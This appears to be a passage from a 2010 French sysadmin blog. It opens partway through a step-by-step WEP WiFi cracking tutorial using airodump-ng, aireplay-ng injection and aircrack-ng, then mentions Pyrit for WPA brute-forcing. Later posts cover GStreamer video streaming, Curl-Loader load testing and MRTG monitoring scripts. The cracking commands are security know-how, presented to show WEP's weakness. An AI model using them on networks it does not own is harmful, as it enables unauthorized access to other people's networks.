On peut voir que le réseau (ESSID) WifiDeTest est associé au channel (CH) 1 avec l'adresse MAC (BSSID) 00:80:48:4F:2E:C4. Notre PC effectuant l'attaque à comme addresse MAC (STATION) 00:22:FA:FE:B5:6E.

On peut ensuite capturer le trafic de ce channel spécifique, le résultat de la capture sera enregistré dans un fichier dont le préfixe commencera par dump:


sudo airodump-ng --encrypt WEP -c 1 -w dump -i mon0

Injection de trafic dans le réseau

Afin d'accélérer la phase précédente, il est judicieux d'injecter du trafic afin que la capture ait une taille conséquente. Les actions suivantes sont donc à faire en parallèle de la capture (c'est à dire dans un autre terminal).

Nous allons dans un premier temps générer une attaque de type "fake authentification" sur le routeur Wifi. Cette étape est seulement nécessaire si un filtrage par @MAC est actif.


aireplay-ng -1 0 -e WifiDeTest -a 00:80:48:4F:2E:C4 -h 00:22:FA:FE:B5:6E

La syntaxe est la suivante:

aireplay-ng -1 0 -e ESSID -a BSSID -h STATION

On passe ensuite à l'injection du trafic, étape indispensable de ce hack:


aireplay-ng -3 -e WifiDeTest -a 00:80:48:4F:2E:C4 -h 00:22:FA:FE:B5:6E

Le résultat est un fichier dump-01.cap. Plus la capture sera longue (et donc ce fichier gros), plus Aircrack-NG aura de chance de cracker le mot de passe WEP. La documentation conseille une taille minimum de 500 Ko (il suffit de faire des "ls -alF" dans le répertoire pendant que la commande précédente tourne pour voir la taille du fichier). Quand vous voulez arrêter la capture, faire un CTRL-C dans la fenêtre.

Analyse du dump

On se retrouve donc avec un fichier dump-01.cap de 500 Ko ou plus. Pour en faire l'analyse et trouver le mot de passe WEP, il faut utiliser la commande:


aircrack-ng -b 00:80:48:4F:2E:C4 dump-01.cap

Ou 00:80:48:4F:2E:C4 est à remplacer par l'adresse BSSID fourni par la commande "sudo airodump-ng mon0".

On arrive au résultat suivant:


...

Key found: [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA ]

Probability 100%

Il ne reste plus qu'à ce connecter "normalement au réseau WEP en utilisant cette clés !

Enfin on arrête le monitoring de l'interface:

On commence par activer le "monitoring" sur l'interface Wifi (wlan0) dans mon cas:


sudo airmon-ng stop wlan0

Conclusion

Comme vous pouvez le voir il est vraiment facile de cracker un réseau Wifi WEP, je vous conseille donc de ne pas utiliser ce type de protection sur votre réseau domestique et encore moins professionnel.

Crack de réseau Wifi WPA/WPA2 avec Pyrit

Contrairement à WEP, WPA et WPA2 demande beaucoup plus de ressource avant d'être cracker. C'est dans cette optique que le projet Pyrit a vu le jour: proposer un algorithme de crack des ce type de réseau Wifi en utilisant la puissance de votre GPU.

Voici une petit démonstration en vidéo:

Pour une procédure complète qui mélangent l'utilisation de AirCrack-NG (pour la capture et le filtrage du réseau à cracker) et Pyrit pour le hack par "brute-force", je vous conseille la lecture de ce forum ou de ce billet.

Streaming vidéo SD avec Gstreamer

NicoLargo — Tue, 16 Feb 2010 10:03:11 +0000

Nous allons dans ce billet essayer d'optimiser le streaming d'un flux SD sur un réseau local (LAN de 100 Mbps) en utilisant le framework GStreamer.

Environnement des tests

Deux PC Ubuntu connectés sur un même switch (100 Mbps full-duplex).

PC serveur: Intel(R) Core(TM)2 Duo CPU P8400 @ 2.26GHz / 2 Go RAM
PC client: Intel(R) Core(TM)2 Duo CPU E6750 @ 2.66GHz / 1 Go RAM

GStreamer version 0.10.25.

Vidéo source: Big Buck Bunny 480p

Tests avec le codec X.264

Ligne de commande sur la machine générant le streaming (serveur):
serveur> gst-launch -v \
        filesrc location="../Vidéos/big_buck_bunny_480p_stereo.ogg" \
        ! queue ! decodebin \
        ! queue ! videoscale method=1 ! video/x-raw-yuv,width=854,height=480 \
        ! queue ! videorate ! video/x-raw-yuv,framerate=\(fraction\)24/1 \
        ! queue ! x264enc byte-stream=true bitrate=2000 bframes=4 ref=4 me=hex subme=4 weightb=true threads=0 \
        ! queue ! rtph264pay \
        ! queue ! udpsink port=5000 host=192.168.29.150 sync=false async=false

Ligne de commande sur la machine recevant le streaming (client):

client> gst-launch -v udpsrc caps="application/x-rtp, media=\(string\)video, clock-rate=\(int\)90000, encoding-name=\(string\)H264, payload=\(int\)96" port=5000 \
 ! queue ! rtph264depay \
 ! queue ! ffdec_h264 ! xvimagesink

Résultat:
Visuel: vidéo saccadé (environ 2 img/sec)
Bande passante mesurée: entre 2 et 3 Mbps
Resource serveur: %CPU=135 / %MEM=5
Resource client: %CPU=10 / %MEM=2

On ajoute un buffer juste avant le depay et le décodage (au niveau du client):

client> gst-launch -v udpsrc caps="application/x-rtp, media=\(string\)video, clock-rate=\(int\)90000, encoding-name=\(string\)H264, payload=\(int\)96" port=5000 \
        ! queue ! gstrtpjitterbuffer latency=3000 \
        ! queue ! rtph264depay \
        ! queue ! ffdec_h264 ! xvimagesink

Résultat:
Visuel: vidéo beaucoup plus fluide mais variation de la gigue (accéleration de la video par moment). On a par contre un décalage de 3 secondes, donc inutilisable pour des flux lives.
Bande passante mesurée: entre 2 et 3 Mbps
Resource serveur: %CPU=140 / %MEM=6
Resource client: %CPU=14 / %MEM=2

On modifie ensuite les paramètres d'encodage X.264 (au niveau du serveur):

serveur> gst-launch -v --gst-debug-level=2 \
        filesrc location="../Vidéos/big_buck_bunny_480p_stereo.ogg" \
        ! queue ! decodebin \
        ! queue ! videoscale method=1 ! video/x-raw-yuv,width=720,height=480 \
        ! queue ! videorate ! video/x-raw-yuv,framerate=\(fraction\)24/1 \
        ! queue ! x264enc vbv-buf-capacity=3000 byte-stream=true bitrate=900 subme=4 ref=2 bframes=1 b-pyramid=true weightb=true \
        ! queue ! rtph264pay \
        ! queue ! udpsink port=5000 host=192.168.29.150 sync=false async=false

Résultat:
Visuel: Presque plus de sacade ni de variation de gigue. On a par contre un décalage de 3 secondes, donc inutilisable pour des flux lives.
Bande passante mesurée: entre 2 et 3 Mbps
Resource serveur: %CPU=120 / %MEM=4
Resource client: %CPU=10 / %MEM=2

Simuler des connexions HTTP/FTP simultanées

NicoLargo — Mon, 15 Feb 2010 10:34:42 +0000

Curl-Loader est un logiciel libre, écrit en langage C (le meilleur langage pour développer des applications réseaux), permettant de simuler sur votre serveur WEB ou FTP un grand nombre de connexions simultanées. Nous allons dans ce billet voir comment installer, configurer et tester ce logiciel dans un environnement GNU/Linux (Ubuntu 9.10 dans mon cas).

Installation de Curl-Loader

Comme il n'est pas encore (des volontaires ?) disponible dans les dêpots officiels, il va falloir compiler Curl-Loader à la main. Avant d'aller plus loin, on installe des pré-requis système:


sudo aptitude install build-essential openssl libssl-dev

On commence par récupérer la dernière version disponible (0.51 au moment de l'écriture de ce billet):


wget http://downloads.sourceforge.net/project/curl-loader/curl-loader/curl-loader-0.51/curl-loader-0.51.tar.gz?use_mirror=sunet

On décompresse et compile le tout:


tar zxvf curl-loader-0.51.tar.gz

cd curl-loader-0.51

make optimize=1

On finalise l'installation avec:


sudo make install

Configuration de Curl-Loader

Tout est centralisé dans un fichier de configuration. Quelques exemples de fichiers de conf sont fournis avec les sources dans le répertoire ./conf-exemples/.

Le plus simple est de partir du fichier ./conf-exemples/bulk.conf:


cp ./conf-exemples/bulk.conf ~/curlloader.conf

cd ~

On édite le fichier pour l'adapter à son besoin (documentation exhaustive disponible sur le site officiel) :


vi curlloader.conf


########### GENERAL SECTION ################################

BATCH_NAME= bulk

CLIENTS_NUM_MAX=200

CLIENTS_RAMPUP_INC=5

INTERFACE=eth0

NETMASK=24

IP_ADDR_MIN= 192.168.29.148

IP_ADDR_MAX= 192.168.29.148

IP_SHARED_NUM=1

CYCLES_NUM= 100

URLS_NUM= 1

########### URL SECTION ####################################

URL=http://www.monserveurweb.com/

URL_SHORT_NAME="MonServeurWeb"

REQUEST_TYPE=GET

TIMER_URL_COMPLETION = 5000

TIMER_AFTER_URL_SLEEP = 500

Utilisation de Curl-Loader

Attention à ne lancer Curl_Loader que vers un serveur qui vous appartient.
Dans le cas contraire, cela peut être considéré comme une attaque par dénie de service !

Il ne reste plus qu'a lancer Curl-Loader avec ce fichier de configuration:


sudo curl-loader -f ~/curlloader.conf

Que va faire l'exécution de Curl-Loader avec notre fichier de configuration ?

On commence un cycle en envoyant sur le réseau 5 (CLIENTS_RAMPUP_INC) requêtes simultanées vers le serveur Web d'URL http://www.monserveurweb.com/(URL), puis 1 seconde plus tard, 5 requêtes de plus et ainsi de suite jusqu'à 200 (CLIENTS_NUM_MAX) requêtes simultanées. A la fin de ce cycle, on continu jusqu'à attendre le 100em cycle (CYCLES_NUM).

A la fin du test on a les informations suivantes qui s'affichent:


Test total duration was 54 seconds and CAPS average 231:

H/F   Req:24665,1xx:0,2xx:12332,3xx:12333,4xx:0,5xx:0,Err:0,T-Err:1,D:1ms,D-2xx:3ms,Ti:1343807B/s,To:56181B/s

H/F/S Req:0,1xx:0,2xx:0,3xx:0,4xx:0,5xx:0,Err:0,T-Err:0,D:0ms,D-2xx:0ms,Ti:0B/s,To:0B/s

Exited. For details look in the files:

- bulk.log for errors and traces;

- bulk.txt for loading statistics;

- bulk.ctx for virtual client based statistics.

- bulk.ops for operational statistics.

Pour la le lecture des rapports, voici un petit mémento:

CAPS=call attempts per seconds;
run-time in seconds;
requests num;
1xx success num;
2xx success num;
3xx redirects num;
client 4xx errors num;
server 5xx errors num;
other errors num, like resolving, tcp-connect, server closing or empty responses number (Err);
url completion time expiration errors (T-Err);
average application server Delay (msec), estimated as the time between HTTP request and HTTP response without taking into the account network latency (RTT) (D);
average application server Delay for 2xx (success) HTTP-responses, as above, but only for 2xx responses. The motivation for that is that 3xx redirections and 5xx server errors/rejects may not necessarily provide a true indication of a testing server working functionality (D-2xx);
throughput in, batch average, Bytes/sec (T-In);
throughput out, batch average, Bytes/sec (T-Out);

MRTG, un tutoriel simple et rapide

NicoLargo — Mon, 01 Feb 2010 05:43:35 +0000

Si vous suivez ce blog, vous devez sûrement connaitre Cacti, l'outil permettant de générer des graphes visualisation via une interface HTML/PHP. La solution, bien que simple à mettre en oeuvre nécessite quelques manipulations. Nous allons voir dans ce billet une autre solution beaucoup moins lourde et simple à mettre en oeuvre: MRTG. Nous nous limiterons à la génération de graphes représentant la bande passante des interfaces réseau mais l'on peut bien sûr "grapher" toutes les mesures récupérables via SNMP. La machine qui hébergera notre MRTG est sous Unbuntu 9.10 (mais la procédure est globalement la mêmes sur les autres distribution GNU/Linux).

Installation

sudo aptitude install mrtg

Création du répertoire Web

sudo mkdir /var/www/mrtg

Pour être propre, je vous conseille de créer un sous-répertoire par machine à superviser. Par exemple:

sudo mkdir /var/www/mrtg/A.B.C.D

Ajout d'une machine à superviser

Pour superviser le trafic de toutes les interfaces réseau de la machine d'adresse ip A.B.C.D (hébergeant un serveur SNMP configuré avec public comme utilisateur en lecture seule), il faut saisir la commande suivante:

cfgmaker --global 'WorkDir: /var/www/mrtg/A.B.C.D'  \
--ifdesc=descr \
--global 'Language: french'  \
--global 'Options[_]: bits,growright'  \
public@A.B.C.D > /var/www/mrtg/A.B.C.D/A.B.C.D.cfg

Les options permettent:

de nommer les interfaces réseaux par leur description: --ifdesc=descr
de passer l'interface de MRTG en Francais: --global 'Language: french'
de mettre les graphes en bits/sec et de les dessiner de la droite vers la gauche: --global 'Options[_]: bits,growright'

Il est bien sur possible d'éditer le fichier de configuration (/var/www/mrtg/A.B.C.D/A.B.C.D.cfg) à la main, pour changer la configuration de MRTG.

Gérérer automatiquement les graphes

Il faut pour cela lancer automatiquement le binaire /usr/bin/mrtg toutes les 5 minutes. Nous allons donc créer un script SHELL que nous lancerons en utilisant la crontab.

vi /usr/local/bin/mrtgcron.sh

#!/bin/sh
# /var/www/mrtg/A.B.C.D
env LANG=C  /usr/bin/mrtg /var/www/mrtg/A.B.C.D/A.B.C.D.cfg

Puis on lui donne les droits en exécution:

chmod a+x /usr/local/bin/mrtgcron.sh

Et enfin, on programme la crontab (crontab -l) en ajoutant la ligne suivante:

*/5 * * * * /usr/local/bin/mrtgcron.sh

Il ne reste plus que 5 minutes à attendre avant de consulter ses graphe à l'URL suivante:

http://adresse_ip_serveur_mrtg/mrtg/A.B.C.D/

Création d'un fichier d'index pour votre site Web

Quand vous accédez à votre page Web MRTG, vous avez une liste de fichiers peu lisible. Heureusement, MRTG est fourni avec un utilitaire nommée indemaker permettant de générer un fichier index.html beaucoup plus "user/chief friendly".

Pour générer cet index sur notre répertoire A.B.C.D, il faut saisir la commande suivante:

indexmaker --title='MRTG - A.B.C.D'
--sort=descr \
--sidebyside /var/www/mrtg/A.B.C.D/A.B.C.D.cfg \
--output=/var/www/mrtg/A.B.C.D/index.html

Et voili, l'accès via l'URL http://adresse_ip_serveur_mrtg/mrtg/A.B.C.D est quand même plus sympathique...

Section spécial gros fainéants

Voici un petit script SHELL qui va vous simplifier la vie (enfin l'ajout de machine à superviser dans MRTG...):


#!/bin/sh

# mrtgadd.sh

# Ajout d'une machine a superviser

# Nicolargo - GPL

#

# Syntaxe: mrtgadd.sh  

MRTGADD_DIR=/var/www/mrtg/$1

echo "Création du répertoire: $MRTGADD_DIR"

sudo mkdir $MRTGADD_DIR

MRTGADD_CFG=$MRTGADD_DIR/$1.cfg

echo "Génération de la configuration MRTG: $MRTGADD_CFG ($2)"

sudo cfgmaker --global "WorkDir: $MRTGADD_DIR"  \

--ifdesc=descr \

--global 'Language: french'  \

--global 'Options[_]: bits,growright'  \

public@$2 > $MRTGADD_CFG

MRTGADD_CRONSCRIPT=/usr/local/bin/mrtgcron.sh

echo "Modification du script $MRTGADD_CRONSCRIPT"

sudo cp $MRTGADD_CRONSCRIPT $MRTGADD_CRONSCRIPT.old

sudo cat <> $MRTGADD_CRONSCRIPT

# $MRTGADD_DIR

env LANG=C  /usr/bin/mrtg $MRTGADD_CFG

EOF

echo "Generation du fichier Index"

sudo indexmaker --title="MRTG - $1" \

--sort=descr \

--sidebyside $MRTGADD_CFG \

--output=$MRTGADD_DIR/index.html

Conclusion

MRTG est un bien bel outil dont pas mal de logiciel "webifier" se servent comme générateur de graphe. Il est simple et souple à installer et transparent à utiliser... Et vous êtes vous un fan de cet outil libre ?